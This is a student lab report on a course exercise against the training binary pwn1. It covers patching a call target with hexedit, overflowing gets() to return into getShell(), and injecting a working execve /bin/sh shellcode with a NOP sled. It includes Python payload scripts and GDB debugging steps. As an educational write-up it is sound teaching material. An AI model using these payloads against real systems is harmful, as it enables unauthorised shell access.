20242312 2026-2027-1 《网络与系统攻防技术》实验一实验报告

20242312 2026-2027-1 《网络与系统攻防技术》实验一实验报告

姓名:周梓濠
学号:20242312
实验名称:逆向破解与BOF

1.基础知识

1.1 可执行文件、反汇编与十六进制编辑

本次实验对象是 Linux 下的 pwn1。正常情况下,main() 调用 foo(),读取并回显输入;程序中另有 getShell(),但正常流程不会调用它。实验通过修改机器指令或覆盖栈上的返回地址,使程序执行原本不会执行的代码。

file 用于判断文件格式。本次目标是 ELF 32 位、小端序、Intel i386 可执行文件,因此返回地址占 4 字节。

反汇编把机器码转换为汇编助记符。objdump -d -M intel 可以查看可执行代码并使用 Intel 语法显示,具体选项见 GNU objdump 手册。hexedit 则直接查看和修改文件字节。二者配合使用,可以先定位指令,再修改机器码,最后重新反汇编检查。

反汇编显示的虚拟地址与编辑器显示的文件偏移不是同一个量。对于文件中有实际内容的加载段,换算关系为:

文件偏移 = 指令虚拟地址 - 所属段的 p_vaddr + 所属段的 p_offset

可以用 readelf -lW 查看段信息。本次需要修改的指令位于虚拟地址 0x080484b5,对应文件偏移 0x4b5。

1.2 常用汇编指令与机器码

下表列出本次涉及的 x86 32 位常用编码。rel8、rel32 分别表示 8 位、32 位相对位移。指令含义与编码可查 Intel 指令集手册。

指令 作用 常见机器码或示例
NOP 空操作,不改变计算结果 90
JE/JZ 当零标志 ZF=1 时跳转 短跳转 74 rel8;近跳转 0F 84 rel32
JNE/JNZ 当 ZF=0 时跳转 短跳转 75 rel8;近跳转 0F 85 rel32
JMP 无条件跳转 短跳转 EB rel8;近跳转 E9 rel32
CMP 比较操作数,更新标志位,不保存减法结果 39 /r、3B /r;如 cmp eax,1 可编码为 83 F8 01
CALL 保存返回地址并转移执行位置 本次使用 E8 rel32
RET 从栈中取出返回地址并跳转 本次使用 C3

1.3 栈帧、寄存器与缓冲区溢出

ESP 保存当前栈顶地址;使用帧指针的函数中,EBP 为访问局部变量和保存的返回地址提供基准。EIP 保存指令执行位置,EAX 是通用寄存器,也常用于保存返回值或系统调用号。

本次 foo() 开头执行:

push ebp
mov  ebp, esp
sub  esp, 0x38

随后用 lea eax,[ebp-0x1c] 取得输入缓冲区地址。

高地址
EBP+4       返回地址,4 字节
EBP         保存的旧 EBP,4 字节
EBP-0x1c    输入缓冲区起始位置
低地址

缓冲区到旧 EBP 的距离是 28 字节,旧 EBP 再占 4 字节,因此返回地址从输入的第 32 字节偏移处开始。输入超过这一区域,就可能覆盖返回地址。foo() 使用的 gets() 不检查目标缓冲区容量,是本次溢出的原因。

栈向低地址增长,而 gets() 从缓冲区起始位置向更高地址连续写入,两种方法我在实验过程中差点混淆。函数结尾的 leave; ret 恢复栈帧并读取返回地址。

1.4 小端序、ASLR 与 shellcode

小端序把数值的低位字节放在低地址。例如 getShell() 地址 0x0804847d,写入输入文件时应为:

7d 84 04 08

Python 中 struct.pack('<I', address) 可以生成小端序的 4 字节地址。

ASLR 会随机化部分地址布局。实验中将 kernel.randomize_va_space 设为 0,以便观察和调试栈地址。参数含义见 Linux 内核文档。

Shellcode 是可直接执行的机器指令。本次 shellcode 通过 32 位 Linux 的 int 0x80 调用 execve,启动 /bin//sh。前面的 NOP 区由多个 90 组成,允许返回地址落到该区域后继续执行到 shellcode。能否执行栈中代码还取决于栈执行权限等条件。

2.实验内容

2.1 实验目标与简要方案

实验内容 实现方案 验证方法
手工修改可执行文件 修改 main() 中 CALL 的相对位移,直接调用 getShell() 重新反汇编,并在取得的 Shell 中执行 id、whoami
利用 foo() 的缓冲区溢出 输入 32 字节填充数据,再写入 getShell() 的小端序地址 输入 payload 后执行 echo SHELL_OK
注入并执行 shellcode 用 GDB 查看栈地址,将返回地址指向输入中的 NOP 区和 shellcode 单步观察执行位置,并确认进程开始执行 /usr/bin/dash

2.2 实验环境与文件

实验在 VMware 中的 Kali Linux 虚拟机完成。主机名为姓名拼音 zhouzihao,工作目录为 /home/kali/pwnlab_20242312。使用的工具包括 file、objdump、readelf、hexedit、xxd、Python 3 和 GDB。

主要目标文件为 pwn1_20242312、pwn1_20242312_manual、pwn3_20242312;第二项输入文件为 input_20242312,第三项的最终生成脚本为 make_shellcode3.py,对应输入文件为 input_shellcode3_20242312。

3.实验过程

3.1 准备环境并确认目标格式

首先将虚拟机主机名改为 zhouzihao,重新进入终端后,用 hostname 检查结果。

主机名检查

图1:主机名显示为 zhouzihao。

通过 VMware 共享文件夹传入 pwn1。检查 /mnt/hgfs 时发现共享目录名称是 Shared,而不是 shared。

共享目录和工作目录

图2:找到共享目录,并建立含学号的实验目录。

将目标复制到实验目录,命名为 pwn1_20242312,添加执行权限,再用 file 检查格式:

chmod +x pwn1_20242312
file pwn1_20242312

目标文件格式

图3:查看目标为 ELF 32 位、小端序 i386 可执行文件。

3.2 实验一:手工修改调用目标

(1)反汇编并定位函数

objdump -d -M intel pwn1_20242312 | tee dis_20242312.txt
grep -n "<main>\|<foo>\|<getShell>" dis_20242312.txt

函数定位

图4:定位 getShell()、foo() 和 main()。

得到关键地址如下:

位置 地址
getShell() 0x0804847d
foo() 0x08048491
main() 0x080484af
main() 中调用 foo() 的指令 0x080484b5

原指令为:

080484b5: e8 d7 ff ff ff    call 0x08048491 <foo>

(2)计算新的相对位移

E8 rel32 指令共 5 字节,相对位移以下一条指令地址为基准:

下一条指令地址 = 0x080484b5 + 5 = 0x080484ba
原位移 = 0x08048491 - 0x080484ba = -0x29
新位移 = 0x0804847d - 0x080484ba = -0x3d

-0x3d 的 32 位补码是 0xffffffc3,小端序表示为 c3 ff ff ff。因此需要将原来的:

e8 d7 ff ff ff

改为:

e8 c3 ff ff ff

(3)复制目标并修改字节

cp pwn1_20242312 pwn1_20242312_manual
chmod +x pwn1_20242312_manual
readelf -lW pwn1_20242312_manual
hexedit pwn1_20242312_manual

复制手工修改目标

图5:保留原文件,单独修改副本。

在文件偏移 0x4b5 找到 e8 d7 ff ff ff,将偏移 0x4b6 处的 d7 改成 c3,保存退出。

修改前机器码

图6:修改前的调用位移。

修改后机器码

图7:修改后为 e8 c3 ff ff ff。

(4)重新反汇编并验证

objdump -d -M intel pwn1_20242312_manual | grep -A 15 '<main>:'
./pwn1_20242312_manual

修改后的反汇编

图8:调用目标已变为 0x0804847d <getShell>。

运行后进入 Shell,执行 id、whoami,得到当前用户 kali 的身份信息,输入 exit 后返回原终端。

手工修改后的Shell验证

图9:成功执行 id 和 whoami。

实验一完成b( ̄▽ ̄)d 。

3.3 实验二:覆盖返回地址调用 getShell

(1)设置实验环境并分析 foo

sudo sysctl -w kernel.randomize_va_space=0
cp pwn1_20242312 pwn2_20242312
objdump -d -M intel pwn2_20242312 | grep -A 35 '<foo>:'

关闭ASLR

图10:设置返回 kernel.randomize_va_space = 0,同时出现主机名解析警告(后续有解决办法)。

foo函数反汇编

图11:输入缓冲区在 [ebp-0x1c],输入函数为 gets()。

重点指令为:

08048494: sub  esp,0x38
08048497: lea  eax,[ebp-0x1c]
0804849d: call 0x08048330 <gets@plt>
080484a8: call 0x08048340 <puts@plt>
080484ad: leave
080484ae: ret

由缓冲区起始地址 EBP-28 到返回地址 EBP+4,得到覆盖偏移 28+4=32 字节。前 32 字节用于填充,接下来的 4 字节用于覆盖返回地址。

(2)构造并检查 payload

python3 - <<'PY'
import struct

payload = b'A' * 32
payload += struct.pack('<I', 0x0804847d)
payload += b'\n'

with open('input_20242312', 'wb') as f:
    f.write(payload)
print('输入文件生成成功!')
PY

xxd input_20242312

溢出输入的十六进制检查

图12:偏移 0x20 开始为 7d 84 04 08,随后是换行符 0a。

该文件共 37 字节,包括 32 字节填充、4 字节目标地址和 1 字节换行符。gets() 读取到换行结束。

(3)输入 payload 并验证 Shell

(cat input_20242312; cat) | ./pwn2_20242312

第一个 cat 发送 payload,第二个 cat 继续读取终端输入,使取得的 Shell 能接收后续命令。若只发送文件,标准输入到达 EOF 后,Shell 可能立即退出。

缓冲区溢出取得Shell

图13:echo SHELL_OK 输出了 SHELL_OK

实验结果: 返回地址被覆盖为 getShell() 地址,Shell 能执行输入的命令。退出后的段错误说明原程序的栈状态已经受到破坏,不能保证恢复正常执行。

实验二完成b( ̄▽ ̄)d 。

3.4 实验三:注入并执行 shellcode

(1)检查 ASLR 并用 GDB 观察栈

cat /proc/sys/kernel/randomize_va_space

ASLR状态检查

图14:读出的参数值为 0,说明ASLR关闭。

第三项使用目标文件 pwn3_20242312。打开 GDB,选择 Intel 反汇编格式,在 gets() 返回后的地址 0x080484a2 下断点,输入 AAAA 后查看寄存器:

gdb -q pwn3_20242312
set disassembly-flavor intel
break *0x080484a2
run
# 程序等待输入时输入 AAAA
info registers

GDB断点设置

图15:使用的断点为 0x080484a2。

GDB寄存器结果

图16:本次运行的 EBP=0xffffced8,EAX=0xffffcebc。

按反汇编中的寻址方式计算:

缓冲区起始地址 = EBP - 0x1c = 0xffffcebc
返回地址槽位   = EBP + 4    = 0xffffcedc
返回地址后位置 = EBP + 8    = 0xffffcee0

GDB 的 x 命令可以检查内存,si 用于单步执行机器指令。查看 payload 时,可明确指定单位,例如 x/40xb 查看 40 字节、x/10xw 查看 10 个四字节字;语法见 GDB 内存检查手册。

(2)第一次尝试:把 NOP 与 shellcode 放在返回地址之前

我第一次构造 payload 时,把 NOP 区与 shellcode 都放在返回地址前面的低地址一侧:

低地址                                                          高地址
[NOP 区][24 字节 shellcode][填充][4 字节返回地址]
                                  ↑ 只有 28 字节可用,容易越界

其中 shellcode 为:

shellcode = (
    b'\x31\xc0'                  # xor eax,eax
    b'\x50'                      # push eax,放入字符串结束符
    b'\x68\x2f\x2f\x73\x68'      # push 0x68732f2f
    b'\x68\x2f\x62\x69\x6e'      # push 0x6e69622f
    b'\x89\xe3'                  # mov ebx,esp,指向 /bin//sh
    b'\x50'                      # argv 的结束空指针
    b'\x53'                      # argv[0] 指向路径字符串
    b'\x89\xe1'                  # mov ecx,esp,设置 argv
    b'\x99'                      # cdq,因 EAX 为零而清零 EDX
    b'\xb0\x0b'                  # 设置 execve 系统调用号
    b'\xcd\x80'                  # 发起系统调用
)

这段代码共 24 字节。它先在栈上构造以空字节结尾的 /bin//sh,再设置路径、参数数组和环境参数,最后执行系统调用。

初版shellcode脚本

图17:第一次尝试使用的脚本,其中 shellcode 用 cdq(编码 99)清零 EDX;当时把 NOP 区和这段代码排在返回地址之前。

这一版程序进入 shellcode 后立即触发 SIGSEGV。用 GDB 查看时,EIP 已经指向输入的 shellcode 地址,说明返回地址覆盖正常,既不是地址错误,也不是 ASLR 或 NX 的问题,故障发生在 shellcode 内部。

原因是 shellcode 在执行过程中覆盖了自己后面的指令。execve 的 shellcode 需要先用 push 在栈上拼出 /bin//sh 和参数数组,push 会把 ESP 向低地址移动,写入的位置总在当前代码之下。若 shellcode 位于返回地址之前的低地址一侧,压入的数据就覆盖它自身。

低地址                                                          高地址
[被 push 写入的数据][shellcode 未执行的字节 ...][填充][返回地址]
 ↑ ESP 不断向这一方向移动,最终压到代码自己身上

这次失败因此有两重原因:一是有 28 字节的硬限制,24 字节代码加 NOP 放不下,还写坏了返回地址;二是代码与压栈区几乎重叠,压栈会改掉自己尚未执行的指令。

(3)成功版本:把 shellcode 移到返回地址之后

修正思路是把 shellcode 放到返回地址后面的高地址一侧,并让返回地址指向 shellcode 前面的 NOP 滑梯:

输入低地址                                                      输入高地址
[32 字节填充][4 字节返回地址][NOP 滑梯][24 字节 shellcode]
             偏移 32         偏移 36   偏移 56
                             ↑ 返回地址指向这里

这样 shellcode 压栈时只覆盖前面的填充区,不再破坏自身字节;NOP 滑梯则让返回地址只要落在滑梯范围内,都能继续滑到 shellcode 入口,不必精确对准第一条指令。

最终脚本 make_shellcode3.py 内容如下:

shellcode = (
    b"\x31\xc0"                  # xor eax,eax,EAX 清零
    b"\x50"                      # push eax,放入字符串结束符
    b"\x68\x2f\x2f\x73\x68"      # push 0x68732f2f,即 "//sh"
    b"\x68\x2f\x62\x69\x6e"      # push 0x6e69622f,即 "/bin"
    b"\x89\xe3"                  # mov ebx,esp,EBX 指向 "/bin//sh"
    b"\x50"                      # push eax,argv 结束空指针
    b"\x53"                      # push ebx,argv[0] 指向路径字符串
    b"\x89\xe1"                  # mov ecx,esp,设置 argv
    b"\x31\xd2"                  # xor edx,edx,EDX 清零
    b"\xb0\x0b"                  # mov al,0xb,execve 系统调用号
    b"\xcd\x80"                  # int 0x80,发起系统调用
)

# 覆盖 buffer 到返回地址
payload = b"A" * 32

# 返回地址:
# 跳到后面的 NOP 区
# buffer = 0xffffcebc
# 32字节后面 ret
# ret 后4字节开始就是 NOP
# 所以 NOP 起点:
# 0xffffcebc + 36 = 0xffffcee0

payload += b"\xe0\xce\xff\xff"

# NOP 滑梯
payload += b"\x90" * 20

# shellcode
payload += shellcode

with open("input_shellcode3_20242312", "wb") as f:
    f.write(payload)

成功版本的生成脚本

图18:make_shellcode3.py 中的 shellcode、返回地址和 NOP 滑梯。

运行脚本并检查生成的输入文件:

python3 make_shellcode3.py
xxd input_shellcode3_20242312

成功版本的十六进制检查

图19:最终输入文件的十六进制内容。

文件结构与推导完全一致,共 80 字节。按 xxd 默认的每行 16 字节排列,逐行对应如下:

行偏移 字节内容 含义
0x00、0x10 41 × 32 填充到返回地址
0x20 e0 ce ff ff + 90 × 12 返回地址 0xffffcee0,以及 NOP 滑梯的前 12 字节
0x30 90 × 8 + 31 c0 50 68 2f 2f 73 68 NOP 滑梯的后 8 字节,紧接着 shellcode 开头
末行(0x40) 68 2f 62 69 6e 89 e3 50 53 89 e1 31 d2 b0 0b shellcode 中段,至偏移 0x4f
文件末尾 80 int 0x80 的最后一个字节

因此偏移 0x20 处是返回地址,偏移 0x24 起是 20 个 90;shellcode 从偏移 0x38 开始,到偏移 0x4f 结束,共 24 字节。xxd 右列的可读字符中能看到 /bin//sh 以及相邻的 PS(\x50\x53)等字节,与 shellcode 中压栈构造字符串的指令对应。

(4)调试并验证 shellcode 执行

对照本节(1)得到的栈地址:

缓冲区起始地址 = 0xffffcebc   → payload 偏移 0
返回地址槽位   = 0xffffcedc   → payload 偏移 32
NOP 滑梯起点   = 0xffffcee0   → payload 偏移 36
shellcode 入口 = 0xffffcef4   → payload 偏移 56

填入的返回地址 0xffffcee0 正落在 NOP 滑梯起点上。用 GDB 单步验证:

gdb -q ./pwn3_20242312
run < input_shellcode3_20242312
# 触发 ret 之后用 si 逐条执行
info registers
si
si

成功版本的GDB单步验证

图20:EIP 落在栈地址上,EAX=0x0,随后逐条单步执行栈中的机器指令。

图中的 0xffffcf05 in ?? () 以及 add BYTE PTR [eax+ecx*1],al 之类输出是调试器从字节中间开始解码得到的错位反汇编。

最后再执行一下:

gdb -q ./pwn3_20242312
run < input_shellcode3_20242312

shellcode最终执行结果

图21:GDB 显示 process ... is executing new program: /usr/bin/dash,随后 exited normally。

输出中先出现填充内容,随后显示 process 344924 is executing new program: /usr/bin/dash,进程正常退出,没有出现段错误。

实验结果: 返回地址被覆盖为 0xffffcee0,EIP 劫持成功;NOP 滑梯把执行流带到栈中的 shellcode,最终通过 int 0x80 调用 execve 启动 /usr/bin/dash。

实验三完成b( ̄▽ ̄)d 。

4.问题及解决方案

  • 问题1:修改主机名后,sudo 提示无法解析主机名

出现 sudo: unable to resolve host zhouzihao。原因是主机名已经修改,但 /etc/hosts 中没有相应映射。

  • 问题1解决方案: 按记录添加映射并检查内容:
echo "127.0.0.1 zhouzihao" | sudo tee -a /etc/hosts
cat /etc/hosts

主机名解析修复

图22:/etc/hosts 中已加入 zhouzihao。

  • 问题2:hexedit 安装失败,调试工具下载出现域名解析错误

安装 hexedit 时出现 Unable to locate package;安装调试工具时还出现 Temporary failure resolving 'http.kali.org'。

hexedit安装错误

图23:安装命令报错。

  • 问题2解决方案:记录中排查发现虚拟机网络未连通,于是在 Windows 的 services.msc 中检查并启动或重启 VMware NAT、DHCP 服务。网络恢复后更新软件包索引,再安装所需工具。

  • 问题3:误把函数分配的 56 字节当成输入覆盖偏移

最初看到 sub esp,0x38,容易直接按 56 字节构造填充,但函数栈空间不只用于输入缓冲区。

  • 问题3解决方案: 以 lea eax,[ebp-0x1c] 确认缓冲区位置,再计算到 EBP+4 的距离,得到正确偏移 32 字节。

  • 问题4:取得 Shell 后退出,程序出现段错误

第二项中已经输出 SHELL_OK,但输入 exit 后出现 broken pipe 和 segmentation fault。

  • 问题4解决方案: 溢出输入破坏了保存的 EBP,并将 foo() 返回位置改为 getShell();没有构造完整的后续返回链,因而退出 Shell 后可能崩溃。

  • 问题5:初版 shellcode 因自覆盖而失败

初版把 NOP 区和 shellcode 放在返回地址之前,运行后触发 SIGSEGV。用 GDB 查看确认 EIP 已经进入 shellcode,说明返回地址覆盖、ASLR、栈执行权限都没有问题,故障出在代码自身。原因:execve 的 shellcode 必须用 push 在栈上拼出 /bin//sh 与参数数组,push 会让 ESP 向低地址移动,写入的位置在代码之下。当 shellcode 位于返回地址之前的低地址一侧时,代码与压栈区几乎重叠,压栈写入的地址就会落进自己尚未执行的指令里,于是“边执行边被自己写坏”,最终报错。

  • 问题5解决方案:把布局改成“32 字节填充、4 字节返回地址、NOP 滑梯、24 字节 shellcode”,让代码位于返回地址之后的高地址一侧。这样压栈只覆盖前面的填充区,不再破坏 shellcode 自身;再让返回地址指向 NOP 滑梯起点 0xffffcee0,利用滑梯提高跳转容错性,不必精确对准 shellcode 第一条指令。

5.学习感悟、思考等

  1. 本次实验比较花时间的还是任务三。什么是shellcode、为什么要用NOP滑梯、shellcode该放到哪个地址、怎么用GDB进行调试……还是比较复杂的。而关于内存地址的分布也花了我不少时间(正常顺序都是低地址到高地址,而栈是往低地址生长)。我感觉把内存地址图画出来会清晰一些,能更加明白缓冲区、返回地址是怎么被覆盖的。像任务三为什么要把shellcode放在返回地址的高一侧,也和内存地址的分布息息相关。
  2. 本次熟练了一些常用的linux操作(sudo apt install、chmod、nano、cat、grep),掌握了常用的汇编语言含义,还有复习了EBP、ESP和EIP等基础知识。
  3. 做实验之前一定要先知道实验的原理,才能理解AI给的命令含义和作用,不然一是收获不到什么,二是AI出错了也不知道怎么改,只能一遍遍把报错信息发给他,效率低下。只有清楚了任务方向,才能更好地发挥AI的作用。

参考资料

posted @ 2026-10-12 08:29  chow-  阅读(6)  评论(0)    收藏  举报